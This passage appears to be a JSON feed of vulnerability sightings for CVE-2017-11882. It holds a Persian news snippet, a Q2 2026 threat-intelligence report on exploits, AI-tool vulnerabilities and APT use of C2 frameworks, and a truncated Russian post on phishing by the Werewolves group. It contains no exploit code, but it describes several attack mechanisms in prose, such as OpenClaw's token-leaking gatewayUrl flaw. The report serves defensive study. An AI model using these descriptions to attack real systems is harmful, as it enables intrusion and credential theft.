\u00ab\u0639\u0644\u0627\u0648\u0647\u200c\u0628\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647 \u06cc \u062c\u062f\u06cc\u062f \u0637\u0648\u0644 \u0628\u0627\u0641\u0631 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u062a\u0627\u0628\u0639 \u062f\u0627\u0631\u0627\u06cc \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u0646\u062f \u062d\u062c\u0645 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0631\u0627 \u06f1\u06f4 \u0628\u0627\u06cc\u062a \u06a9\u0645\u062a\u0631 \u06a9\u0646\u0646\u062f. \u0645\u0647\u0645\u200c\u062a\u0631 \u0627\u0632 \u0647\u0645\u0647 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u062a\u0648\u0627\u0628\u0639 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0646\u06cc\u0632 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u0627\u062d\u062a\u0645\u0627\u0644 \u0632\u06cc\u0627\u062f \u0622\u0646\u200c\u0647\u0627 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a \u0631\u0627 \u0646\u06cc\u0632 \u0648\u0635\u0644\u0647 \u06a9\u0646\u0646\u062f.\u00bb\n\n\u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062f\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u060c \u062f\u0631\u0633\u062a \u0642\u0628\u0644 \u0627\u0632 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc memcpy (\u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u0632 \u062d\u0627\u0641\u0638\u0647 \u0631\u0627 \u062f\u0631 \u0622\u062f\u0631\u0633 \u062f\u06cc\u06af\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u200c\u062f\u0647\u062f) \u0628\u0631\u0631\u0633\u06cc\u200c \u0645\u062d\u062f\u0648\u062f\u0647 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f. Kolsek \u06af\u0641\u062a: \u00ab\u0645\u0647\u0646\u062f\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0631\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644 \u0648\u0627\u062d\u062f \u062f\u0631 \u0647\u0631 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0648 \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0628\u0627\u0639\u062b \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0627\u0632 \u0646\u0638\u0631 \u0645\u0646\u0637\u0642\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u0628\u0627\u0634\u062f\u060c \u0627\u0645\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0648\u062f\u0646 \u06a9\u062f\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u0641\u0631 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0631\u0648\u0646\u0648\u0634\u062a \u0622\u0646\u200c\u0647\u0627 \u062a\u0647\u06cc\u0647\u200c \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0641\u0636\u0627\u06cc \u062e\u0627\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-29T07:00:10.024990Z"}, {"uuid": "17dc281f-93cc-4f49-837b-b0f289c41e13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-66d81917-442e1a3db5444e7f", "content": "Exploits and vulnerabilities in Q2 2026\nThe vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.\nSecond, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data comes from Kaspersky\u2019s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.\nWe examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It\u2019s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nAs the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nQ2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new \u201cnamed\u201d vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:\n\nBlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.\nRedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as \u201ccloud\u201d can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.\nYellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.\nGreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.\nRougePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.\nUnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.\nEven though such cases remain isolated for now, we believe they\u2019ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.\nVeteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive\nCVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nThat said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nLinux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.\nAll the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:\n\nCVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments\nCVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root\nCVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family\nCVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification\nCVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism\nCVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel\u2019s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root\nThe vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system\u2019s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn\u2019t an option.\nMost common published exploits\nThe distribution of published exploits by software type in Q2 2026 includes categories that haven\u2019t appeared in the sample for a long time. For instance, we\u2019re once again seeing exploits targeting SharePoint. It\u2019s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components \u2014 often close to genuinely vulnerable mechanisms \u2014 in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.\nDistribution of published exploits by platform, Q1 2026 (download)\nDistribution of published exploits by platform, Q2 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)\nIn Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they\u2019re published. As before, we\u2019re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it\u2019s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)\nSliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps\nCVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user\nThese vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.\nLLM/AI tool vulnerabilities\nThis section analyzes data published in Kaspersky\u2019s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.\nAs mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.\nThe chart below covers registered vulnerabilities in AI tools for 2025\u20132026.\nNumber of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025\u20132026 (download)\nAs the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It\u2019s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:\nTOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025\u20132026\nInterestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn\u2019t look like the growing number of AI tools will fix it. It\u2019s also notable that the list includes classes CWE developers themselves don\u2019t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.\nLooking at the most common classes, the key issues found in AI-related software can be summed up as follows:\n\nInadequate access control over critical system objects\nImproper implementation of authentication and authorization mechanisms\nInjections\nIt\u2019s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.\nLooking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let\u2019s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025\u20132026.\nTOP AI/LLM-related projects by number of published vulnerabilities, 2025\u20132026 (download)\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.\nCVE-2026-25253: a gatewayUrl vulnerability in OpenClaw\nThe issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.\nThe attack algorithm exploiting this vulnerability works as follows:\n\nThe application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.\nThere is no validation before use.\nThe client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.\nWhile connected, the application sends credentials (an access token) to the specified address.\nIf the attacker obtains a valid token, the consequences depend on that token\u2019s level of access within the system. In general, this could lead to:\n\nUser session compromise\nExecution of operations on the user\u2019s behalf\nModification of the AI agent configuration\nUnauthorized access to tools and resources connected to the agent\nUnder certain OpenClaw configurations, further compromise of the host running the agent\nIt\u2019s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.\nCVE-2026-41948: a path traversal vulnerability in the Dify AI platform\nThe vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren\u2019t meant for that user. The root cause is insufficient normalization and validation of the URL path before it\u2019s passed to the internal service.\nDepending on the Dify configuration, the consequences can include:\n\nUnauthorized access to internal service interfaces\nBreach of isolation between workspaces\nExposure of internal service information\nConditions favorable to further attacks when combined with other vulnerabilities\nThe use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.\nCVE-2026-45386: an improper access control vulnerability in Open WebUI\nIn Open WebUI, pin/unpin operations on messages are write operations, since they modify that message\u2019s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message\u2019s pinned status.\nThe vulnerability\u2019s mechanism works as follows:\n\nThe user initiates an action that changes the state of an object.\nThe application treats this action as a regular read request.\nOnly channel view permission is checked.\nThe application performs a write without verifying the required user authorization.\nThis violates one of the fundamental principles of access control models \u2014 namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.\nAlthough the vulnerability doesn\u2019t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators\u2019 and administrators\u2019 activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.\nOpen WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.\nCVE-2026-45501: a vulnerability in Microsoft Exchange\nThe vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.\nAlthough Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.\nIt\u2019s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.\nConclusion and advice\nQ2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.\nAccordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-08-26T10:30:35.511987Z"}, {"uuid": "cb2b89f3-d84b-4220-975b-b63363b9ab9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/cisoclub/3409", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \ud83c\uddf7\ud83c\uddfa\u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \ud83d\udc3aWerewolves, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0430\u044f \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043e\u0434\u043d\u0443 \u0438\u0437 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udd11LockBit, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439. \u0421 \u043a\u043e\u043d\u0446\u0430 \u0430\u043f\u0440\u0435\u043b\u044f 2024 \u0433\u043e\u0434\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \ud83c\udfed\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0438 \u0418\u0422-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u043e\u0433\u043e \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 F.A.C.C.T.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 F.A.C.C.T., \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Werewolves \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u0430\u0436\u0435 \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u041d\u041f\u041e \u00ab\u041a\u0417\u0421\u0422\u00bb.\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0430\u043a\u0435\u0440\u044b \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e. \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f.doc\u00bb. \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u043d \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 RTF \u0441 